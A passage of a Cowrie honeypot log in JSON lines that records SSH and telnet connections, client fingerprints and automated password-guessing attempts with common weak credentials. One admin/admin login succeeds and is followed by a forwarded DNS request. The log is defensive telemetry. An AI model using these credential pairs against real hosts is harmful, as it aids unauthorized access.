tr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:41:06.245138Z","src_ip":"176.65.132.254","session":"999e881c8c48","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"test123","message":"login attempt [root/test123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:41:06.691594Z","src_ip":"176.65.132.254","session":"999e881c8c48","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:41:07.782547Z","src_ip":"176.65.132.254","session":"999e881c8c48","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.254","src_port":49014,"dst_ip":"10.17.0.5","dst_port":22,"session":"ffa155baa37e","protocol":"ssh","message":"New connection: 176.65.132.254:49014 (10.17.0.5:22) [session: ffa155baa37e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:41:10.418071Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:41:10.423007Z","src_ip":"176.65.132.254","session":"ffa155baa37e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:41:10.505300Z","src_ip":"176.65.132.254","session":"ffa155baa37e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user9","password":"user9","message":"login attempt [user9/user9] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:41:10.896754Z","src_ip":"176.65.132.254","session":"ffa155baa37e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:41:11.986968Z","src_ip":"176.65.132.254","session":"ffa155baa37e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":52.125510931015015,"message":"Connection lost after 52 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:41:13.281045Z","src_ip":"134.209.8.29","session":"50946f75354f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.254","src_port":55238,"dst_ip":"10.17.0.5","dst_port":22,"session":"892f6d642bea","protocol":"ssh","message":"New connection: 176.65.132.254:55238 (10.17.0.5:22) [session: 892f6d642bea]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:41:14.622360Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:41:14.629225Z","src_ip":"176.65.132.254","session":"892f6d642bea","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:41:14.712095Z","src_ip":"176.65.132.254","session":"892f6d642bea","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"123123","message":"login attempt [root/123123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:41:14.969137Z","src_ip":"176.65.132.254","session":"892f6d642bea","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":33.73199486732483,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:41:15.532027Z","src_ip":"134.209.8.29","session":"1c945eb51051","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:41:16.055441Z","src_ip":"176.65.132.254","session":"892f6d642bea","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":49.46679878234863,"message":"Connection lost after 49 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:41:17.943904Z","src_ip":"134.209.8.29","session":"3ef7718932d2","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.254","src_port":55242,"dst_ip":"10.17.0.5","dst_port":22,"session":"02a54c52ee49","protocol":"ssh","message":"New connection: 176.65.132.254:55242 (10.17.0.5:22) [session: 02a54c52ee49]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:41:18.940303Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:41:18.946800Z","src_ip":"176.65.132.254","session":"02a54c52ee49","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:41:19.036435Z","src_ip":"176.65.132.254","session":"02a54c52ee49","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"mc","password":"123456","message":"login attempt [mc/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:41:19.358984Z","src_ip":"176.65.132.254","session":"02a54c52ee49","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:41:20.469514Z","src_ip":"176.65.132.254","session":"02a54c52ee49","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.254","src_port":58116,"dst_ip":"10.17.0.5","dst_port":22,"session":"36cb57fb99b2","protocol":"ssh","message":"New connection: 176.65.132.254:58116 (10.17.0.5:22) [session: 36cb57fb99b2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:41:23.116842Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:41:23.121886Z","src_ip":"176.65.132.254","session":"36cb57fb99b2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:41:23.204604Z","src_ip":"176.65.132.254","session":"36cb57fb99b2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"test","password":"1qaz@WSX","message":"login attempt [test/1qaz@WSX] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:41:23.456567Z","src_ip":"176.65.132.254","session":"36cb57fb99b2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:41:24.559208Z","src_ip":"176.65.132.254","session":"36cb57fb99b2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.254","src_port":58126,"dst_ip":"10.17.0.5","dst_port":22,"session":"84d88957710a","protocol":"ssh","message":"New connection: 176.65.132.254:58126 (10.17.0.5:22) [session: 84d88957710a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:41:27.264567Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:41:27.273498Z","src_ip":"176.65.132.254","session":"84d88957710a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:41:27.357470Z","src_ip":"176.65.132.254","session":"84d88957710a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"P@ssw0rd","message":"login attempt [ubuntu/P@ssw0rd] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:41:27.647305Z","src_ip":"176.65.132.254","session":"84d88957710a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:41:28.748673Z","src_ip":"176.65.132.254","session":"84d88957710a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"38.54.119.93","src_port":48388,"dst_ip":"10.17.0.5","dst_port":23,"session":"eb3e27742d3c","protocol":"telnet","message":"New connection: 38.54.119.93:48388 (10.17.0.5:23) [session: eb3e27742d3c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:41:29.072541Z"}
{"eventid":"cowrie.session.connect","src_ip":"87.251.64.176","src_port":40304,"dst_ip":"10.17.0.5","dst_port":22,"session":"c9db36feb594","protocol":"ssh","message":"New connection: 87.251.64.176:40304 (10.17.0.5:22) [session: c9db36feb594]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:41:29.458666Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:41:29.462533Z","src_ip":"87.251.64.176","session":"c9db36feb594","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"eff4c24daffc8532c160e86e5f006e53","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: eff4c24daffc8532c160e86e5f006e53","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:41:29.558686Z","src_ip":"87.251.64.176","session":"c9db36feb594","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:41:29.859375Z","src_ip":"87.251.64.176","session":"c9db36feb594","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"1.1.1.1","dst_port":53,"src_ip":"87.251.64.176","src_port":0,"message":"direct-tcp connection request to 1.1.1.1:53 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:41:29.962829Z","session":"c9db36feb594","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"1.1.1.1","dst_port":53,"data":"b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","id":0,"message":"discarded direct-tcp forward request 0 to 1.1.1.1:53 with data b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:41:30.063161Z","src_ip":"87.251.64.176","session":"c9db36feb594","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.7","message":"Connection lost after 0.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:41:30.167802Z","src_ip":"87.251.64.176","session":"c9db36feb594","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.254","src_port":58138,"dst_ip":"10.17.0.5","dst_port":22,"session":"742e9e89e5ca","protocol":"ssh","message":"New connection: 176.65.132.254:58138 (10.17.0.5:22) [session: 742e9e89e5ca]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:41:31.272366Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:41:31.276078Z","src_ip":"176.65.132.254","session":"742e9e89e5ca","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:41:31.357421Z","src_ip":"176.65.132.254","session":"742e9e89e5ca","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"user@1234","message":"login attempt [user/user@1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:41:31.781984Z","src_ip":"176.65.132.254","session":"742e9e89e5ca","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:41:32.870225Z","src_ip":"176.65.132.254","session":"742e9e89e5ca","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.254","src_port":41872,"dst_ip":"10.17.0.5","dst_port":22,"session":"18893bfa7e9b","protocol":"ssh","message":"New connection: 176.65.132.254:41872 (10.17.0.5:22) [session: 18893bfa7e9b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:41:35.489168Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:41:35.493729Z","src_ip":"176.65.132.254","session":"18893bfa7e9b","protocol":"ssh"}
